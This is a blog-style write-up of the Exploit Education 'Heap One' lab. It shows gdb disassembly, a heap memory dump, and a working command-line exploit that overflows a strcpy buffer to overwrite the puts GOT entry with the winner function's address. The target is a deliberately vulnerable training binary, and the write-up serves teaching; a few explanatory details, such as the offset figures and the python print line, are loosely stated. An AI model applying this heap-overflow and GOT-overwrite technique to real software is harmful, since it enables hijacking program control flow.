If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup
Previous Writeup:
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
- Format Three Writeup - Exploit Education Lab Exercise
- Format Four Writeup - Exploit Education Lab Exercise
- Heap Zero Writeup - Exploit Education Lab Exercise
Quick Overview
Similar to Heap Zero, Heap One exercise motive is to smash the heap to modify other variables in the heap to a hex value
and technically overwrite struct
in the heap. Similar to gets
in Stack Zero, strcpy
function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared struct variable in the heap region.
Disassemble
Disassembling the code will get you overall idea behind the heap-one code, One can use gdb ./heap-one
to start debugging it in runtime.
gdb ./heap-one
- Type
disassemble main
to get the disassembled code (assembly)
0x080487d5 <+0>: lea ecx,[esp+0x4]
0x080487d9 <+4>: and esp,0xfffffff0
0x080487dc <+7>: push DWORD PTR [ecx-0x4]
0x080487df <+10>: push ebp
0x080487e0 <+11>: mov ebp,esp
0x080487e2 <+13>: push ebx
0x080487e3 <+14>: push ecx
0x080487e4 <+15>: sub esp,0x10
0x080487e7 <+18>: mov ebx,ecx
0x080487e9 <+20>: sub esp,0xc
0x080487ec <+23>: push 0x8
0x080487ee <+25>: call 0x80490dc <malloc>
0x080487f3 <+30>: add esp,0x10
0x080487f6 <+33>: mov DWORD PTR [ebp-0xc],eax
0x080487f9 <+36>: mov eax,DWORD PTR [ebp-0xc]
0x080487fc <+39>: mov DWORD PTR [eax],0x1
0x08048802 <+45>: sub esp,0xc
0x08048805 <+48>: push 0x8
0x08048807 <+50>: call 0x80490dc <malloc>
0x0804880c <+55>: add esp,0x10
0x0804880f <+58>: mov edx,eax
0x08048811 <+60>: mov eax,DWORD PTR [ebp-0xc]
0x08048814 <+63>: mov DWORD PTR [eax+0x4],edx
0x08048817 <+66>: sub esp,0xc
0x0804881a <+69>: push 0x8
0x0804881c <+71>: call 0x80490dc <malloc>
0x08048821 <+76>: add esp,0x10
0x08048824 <+79>: mov DWORD PTR [ebp-0x10],eax
0x08048827 <+82>: mov eax,DWORD PTR [ebp-0x10]
0x0804882a <+85>: mov DWORD PTR [eax],0x2
0x08048830 <+91>: sub esp,0xc
0x08048833 <+94>: push 0x8
0x08048835 <+96>: call 0x80490dc <malloc>
0x0804883a <+101>: add esp,0x10
0x0804883d <+104>: mov edx,eax
0x0804883f <+106>: mov eax,DWORD PTR [ebp-0x10]
0x08048842 <+109>: mov DWORD PTR [eax+0x4],edx
0x08048845 <+112>: mov eax,DWORD PTR [ebx+0x4]
0x08048848 <+115>: add eax,0x4
0x0804884b <+118>: mov edx,DWORD PTR [eax]
0x0804884d <+120>: mov eax,DWORD PTR [ebp-0xc]
0x08048850 <+123>: mov eax,DWORD PTR [eax+0x4]
0x08048853 <+126>: sub esp,0x8
0x08048856 <+129>: push edx
0x08048857 <+130>: push eax
0x08048858 <+131>: call 0x8048560 <strcpy@plt>
0x0804885d <+136>: add esp,0x10
0x08048860 <+139>: mov eax,DWORD PTR [ebx+0x4]
0x08048863 <+142>: add eax,0x8
0x08048866 <+145>: mov edx,DWORD PTR [eax]
0x08048868 <+147>: mov eax,DWORD PTR [ebp-0x10]
0x0804886b <+150>: mov eax,DWORD PTR [eax+0x4]
0x0804886e <+153>: sub esp,0x8
0x08048871 <+156>: push edx
0x08048872 <+157>: push eax
0x08048873 <+158>: call 0x8048560 <strcpy@plt>
0x08048878 <+163>: add esp,0x10
0x0804887b <+166>: sub esp,0xc
0x0804887e <+169>: push 0x804ab70
0x08048883 <+174>: call 0x80485b0 <puts@plt>
0x08048888 <+179>: add esp,0x10
0x0804888b <+182>: mov eax,0x0
0x08048890 <+187>: lea esp,[ebp-0x8]
0x08048893 <+190>: pop ecx
0x08048894 <+191>: pop ebx
0x08048895 <+192>: pop ebp
0x08048896 <+193>: lea esp,[ecx-0x4]
0x08048899 <+196>: ret
If you carefully check the source, you might miss winner
in the above disassembled code. You can go ahead and type disassemble winner
in the gdb prompt,
0x0804889a <+0>: push ebp
0x0804889b <+1>: mov ebp,esp
0x0804889d <+3>: sub esp,0x8
0x080488a0 <+6>: sub esp,0xc
0x080488a3 <+9>: push 0x0
0x080488a5 <+11>: call 0x8048610 <time@plt>
0x080488aa <+16>: add esp,0x10
0x080488ad <+19>: sub esp,0x8
0x080488b0 <+22>: push eax
0x080488b1 <+23>: push 0x804ab8c
0x080488b6 <+28>: call 0x8048580 <printf@plt>
0x080488bb <+33>: add esp,0x10
0x080488be <+36>: nop
0x080488bf <+37>: leave
0x080488c0 <+38>: ret
Before taking a look at the code, if you disassembled the heap-one using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit r
in gdb without breakpoint,
- Greet with
Welcome to phoenix/heap-one, brought to you by https://exploit.education
message via Puts (aka printf) method - In the main() function, the program declares two pointers to struct heapStructure called i1 and i2.
- The program allocates memory for i1 using malloc() and sets its priority field to 1.
- The program allocates memory for i1’s name field using malloc() and reserves 8 bytes of memory for it.
- The program allocates memory for i2 using malloc() and sets its priority field to 2.
- The program allocates memory for i2’s name field using malloc() and reserves 8 bytes of memory for it.
- The program uses strcpy() to copy the first command-line argument passed to it by the user into the name field of i1.
- The program uses strcpy() to copy the second command-line argument passed to it by the user into the name field of i2.
- The program prints out a message saying “and that’s a wrap folks!” and then exits.
Primary Goal
The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to system
function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the struct i2
with i1
and finally overwrite the Global offset table
.
Memory Allocation
As you see that the heapStructure
struct is dynamically allocated, they are allocated seperately by malloc
different from stack frame. You can see that i1.name
(8 bytes) gets written at 0xf7e69008
and priority
integer variable (4 bytes). The i2.name
(8 bytes) gets written at 0xf7e69028
and priority
integer variable (4 bytes). You can verify this by using vmmap
command in gdb.
However, you might want to overwrite the i2
heap with i1.name
. To find the offset you can simply use p i1.name - p i2.priority
in gdb. The offset is 0x20
bytes. So, you can overwrite the i2
heap with i1.name
by using r $(python -c "print('A'*20)")
in gdb. You can verify this by using vmmap
command in gdb. Now that you have overwritten the i2
heap with i1.name
, you can overwrite the i2.priority
with 1
to get the winner
function called.
** note that the memory address of i2.name
is 0xf7e69038
which is located within the struct**. You could potentially overwrite this memory address with actual winner
function address and strcpy
will take care of the rest.
(gdb) x/12xw 0xf7e69008 # i1
0xf7e69008: 0x00000001 0xf7e69018 0x00000000 0x00000011
0xf7e69018: 0x41414141 0x41414141 0x41414141 0x41414141
0xf7e69028: 0x41414141 0x41414141 0x00000000 0x00000011
(gdb) x/12xw 0xf7e69028 #i2
0xf7e69028: 0x41414141 0x41414141 0x00000000 0x00000011
0xf7e69038: 0x00000000 0x00000000 0x00000000 0x000fffc1
0xf7e69048: 0x00000000 0x00000000 0x00000000 0x00000000
To get the winner memory address, you can use gdb to disassemble the winner
function and note down the starting address of the function. You can use disassemble winner
command in gdb to disassemble the winner
function. The starting address of the winner
function is 0x0804889a
. The address 0x0804889a
can be represented in little endian format as \9a\x88\x04\x08
. So, the final payload would be 20 bytes of A + 4 bytes GOT table puts address
and the second argument 4 bytes winner address
. The puts
aka printf
address can be found by using objdump -R heap-one | grep puts
command which is 0804c140
You can use python to generate the payload as follows,
print('A'*20 + '\x40\xc1\x04\x08') + print ('\x9a\x88\x04\x08')
Exploit
So, the final exploit would be as follows,
user@phoenix-amd64:/opt/phoenix/i486$
/opt/phoenix/i486/heap-one $(python -c "print 'A'*20 + '\x40\xc1\x04\x08'") $(python -c "print '\x9a\x88\x04\x08'")
Congratulations, you've completed this level @ 1683325305 seconds past the Epoch
There you go! 🎉 You’ve officially pwned
the binary
and possibly you could control the program flow and may eventually
perform remote code execution in the system. 🪲
Source and Reference:
- Heap One Exercise: Exploit Education
Closing Note:
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.